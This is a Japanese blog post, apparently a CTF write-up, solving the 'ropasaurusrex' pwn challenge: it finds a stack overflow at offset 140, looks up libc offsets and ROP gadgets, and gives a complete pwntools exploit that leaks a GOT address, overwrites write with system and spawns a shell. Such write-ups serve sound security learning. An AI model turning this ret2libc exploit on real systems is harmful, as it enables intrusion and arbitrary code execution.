mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnbaby easy ropasaurusrex

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ file ropasaurusrex | sed -e "s/,/\n/g"
ropasaurusrex: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.18
 BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092
 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ checksec.sh --file ropasaurusrex 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ropasaurusrex

NX有効.

解析

プログラムを起動すると入力待ちになる.大量に文字を入力してみるとプログラムが落ちる.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ./ropasaurusrex 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

デバッガで追ってみるとread関数でバッファーオーバーフローが起きることがわかった.0x100文字分入力が可能だが,入力を格納する領域0xffffd084+0x8Cの位置にリターンアドレスが格納されているため,
0x8c(140)を超えて入力してしまうとリターンアドレスが上書きされてしまう.

[----------------------------------registers-----------------------------------]
EAX: 0xffffd090 --> 0x0 
EBX: 0x0 
ECX: 0xb5cd6f5c 
EDX: 0xffffd164 --> 0x0 
ESI: 0xf7fb9000 --> 0x1afdb0 
EDI: 0xf7fb9000 --> 0x1afdb0 
EBP: 0xffffd118 --> 0xffffd138 --> 0x0 
ESP: 0xffffd080 --> 0x0 
EIP: 0x8048416 (call   0x804832c <read@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048405:	lea    eax,[ebp-0x88]
   0x804840b:	mov    DWORD PTR [esp+0x4],eax
   0x804840f:	mov    DWORD PTR [esp],0x0
=> 0x8048416:	call   0x804832c <read@plt>
   0x804841b:	leave  
   0x804841c:	ret    
   0x804841d:	push   ebp
   0x804841e:	mov    ebp,esp
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xffffd090 --> 0x0 
arg[2]: 0x100 
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0x0 
0004| 0xffffd084 --> 0xffffd090 --> 0x0 
0008| 0xffffd088 --> 0x100 
0012| 0xffffd08c --> 0x1 
0016| 0xffffd090 --> 0x0 
0020| 0xffffd094 --> 0x1 
0024| 0xffffd098 --> 0xf7ffd918 --> 0x0 
0028| 0xffffd09c --> 0xf0b2ff 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048416 in ?? ()

ということでリターンアドレスは奪えたので後はどうにかしてシェルを起動してやれば良い.

Exploit

NXが有効になっておりシェルコードを積んでも実行出来ないので,libc内のsystem関数を呼び出してあげることにする.
プログラムではreadとwrite関数が利用されているのでこの2つを利用してアドレスのリークと書き換えを行う.
方針としては
1. write関数を用いてlibc内の関数をどれでもよいのでリーク
2. リークしたアドレスからlibc_baseのアドレスを計算.libc内のsystem関数のアドレスを計算.
3. read関数でGOT領域の関数をsystemに書き換え + 文字列/bin/shをどこかに格納
4. system関数に書き換えたGOT領域の関数を呼び出しシェルを起動.

ということで,必要なアドレスを集める.
リークするアドレスの関数はwrite関数にしたので(read関数とかでもよい),write_offset値,system_offset値を調べる.
ただし,実際はリモート環境で利用されているlibcを調べる必要がある.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ldd ropasaurusrex | grep libc
	libc.so.6 => /lib32/libc.so.6 (0xf7589000)

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep write
0011ee00 T _IO_do_write
000694d0 T _IO_do_write
0011e830 T _IO_file_write
00068460 T _IO_file_write
0005e210 T _IO_fwrite
00063880 T _IO_wdo_write
000d2780 T __libc_pwrite
000d28d0 W __pwrite64
000d43c0 W __write
000e5770 T eventfd_write
0005e210 W fwrite
000673c0 T fwrite_unlocked
000e62b0 T process_vm_writev
000d2780 W pwrite
000d28d0 W pwrite64
000dd880 T pwritev
000dd940 T pwritev64
000d43c0 W write
000dd6b0 W writev

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep system
0003a940 T __libc_system
00110840 T svcerr_systemerr
0003a940 W system

ropで関数呼び出しを継続するときに,スタック内のread関数とwrite関数の引数(いずれも引数は3つ)が邪魔なので,この引数を取り除くためのpop3retをrp++を利用して調べる.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ rp -f ropasaurusrex -r 3 --unique | grep pop
0x080483c1: add al, 0x5B ; pop ebp ; ret  ;  (2 found)
0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (2 found)
0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080483c0: les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (2 found)
0x08048451: mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080482e8: pop eax ; pop ebx ; leave  ; ret  ;  (1 found)
0x080483c3: pop ebp ; ret  ;  (4 found)
0x080482e9: pop ebx ; leave  ; ret  ;  (2 found)
0x080483c2: pop ebx ; pop ebp ; ret  ;  (2 found)
0x08048504: pop ecx ; pop ebx ; leave  ; ret  ;  (1 found)
0x080484b7: pop edi ; pop ebp ; ret  ;  (1 found)
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)         # これを利用する
0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)

あとはExploit書くだけ.

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *

#context.log_level = 'debug'

conn = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')

write_plt_addr = elf.plt['write']
read_plt_addr = elf.plt['read']
write_got_addr = elf.got['write']
write_offset = 0x000d43c0
system_offset = 0x0003a940
binsh_offset = 0x15902b
pop3ret = 0x080484b6


# write(1,write_got_addr,4)
payload = "A" * 140
payload += p32(write_plt_addr)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)

# read(0,write_got_addr,12)
payload += p32(read_plt_addr)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(write_got_addr)
payload += p32(12)

# system(/bin/sh)
payload += p32(write_plt_addr)
payload += "AAAA"
payload += p32(write_got_addr + 4)  # conn.send()で送るp32(system_addr)は4byteだから文字列"/bin/sh"の位置にずらす
payload += "\n"

conn.send(payload)

# culcurate libc
libc_write_addr = u32(conn.recv())
libc_base_addr = libc_write_addr - write_offset
system_addr = libc_base_addr + system_offset

conn.send(p32(system_addr) + b'/bin/sh\0') 
conn.interactive()

結果

とりあえずローカル環境.リモート環境でやりたいときはsocatとか使う.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ python exploit.py 
[+] Starting local process './ropasaurusrex': pid 26166
[*] '/home/mattun-mart/Workspace/pwn/easy/ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
core        libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a    ropasaurusrex
dump        peda-session-dash.txt
exploit.py  peda-session-ropasaurusrex.txt